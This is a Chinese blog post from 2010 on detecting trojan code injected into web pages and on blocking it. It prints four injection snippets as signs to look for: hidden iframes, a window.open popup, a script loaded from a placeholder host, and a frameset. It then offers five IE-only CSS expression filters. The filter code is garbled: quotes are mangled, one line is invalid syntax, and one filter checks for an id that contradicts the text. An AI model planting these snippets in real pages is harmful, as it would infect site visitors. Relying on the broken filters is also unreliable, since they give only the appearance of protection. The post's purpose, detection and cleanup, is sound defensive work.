您的位置:首页 > 运维架构 > 网站架构

检查网站是否被挂马及解决办法

2010-05-18 11:49 204 查看
网页通用挂码有三种方式,具体怎么挂的,网页被挂码的时候,HTML会混乱,造成前台首页参差不齐,被挂网页的网码一般有以下四种:
  一:<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>,“width="0" height="0" frameborder="0"就是大小高度的意思”这样被挂马的网页上就不会显示出来。

  二:脚本挂马

  <SCRIPT language=javascript>
window.open("网马的地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>

  三:这一点就是比较隐蔽的那就是使用js文件,代码如下:<script language="javascript" src="</script''''>http://xxxxxxx.net/mm.js"></script>这种呢,是很难发现被挂码,但是容易造成HTML混乱

  四:再一种代码就是调用其他网页的页面文件,可以将下面的代码复制,保存为HTM文件,代码如下:     frameset rows="444,0" cols="*">
<frame src="/网马的地址" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="help.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset>

  以上是被挂码的时候网页上会存在以上代码,那如果在检查网页是否被挂马时看到这些代码就可以证明有无挂马的现象了,发现网页被挂马后,通用的做法就是把以上代码中的任一代码删除然后保存即可。

解决方案1:

iframe{n1ifm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.write(''''木马被成功隔离!''''):'''''''');}

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。

解决方案2:

iframe{nifm2:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{no2js:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.close():'''''''');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3:

iframe{ni3fm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{n3ojs:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.execCommand(''''stop''''):'''''''');}

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

iframe{nif4m:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj4s:expression(if(this.src.indexOf(''''http'''')==0)this.src=''''res://ieframe.dll/dnserror.htm'''');}

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj5s:expression((this.id.toLowerCase().indexOf(''''vok'''')!=-1)?document.write(''''木马被成功隔离!''''):''''''''));}

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

综上所述,是用CSS解决木马问题,访客不会再轻易地中毒了。最终的解决方案是找出真正被挂IFRAME的原因,堵住源头,即网站漏洞之类的.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐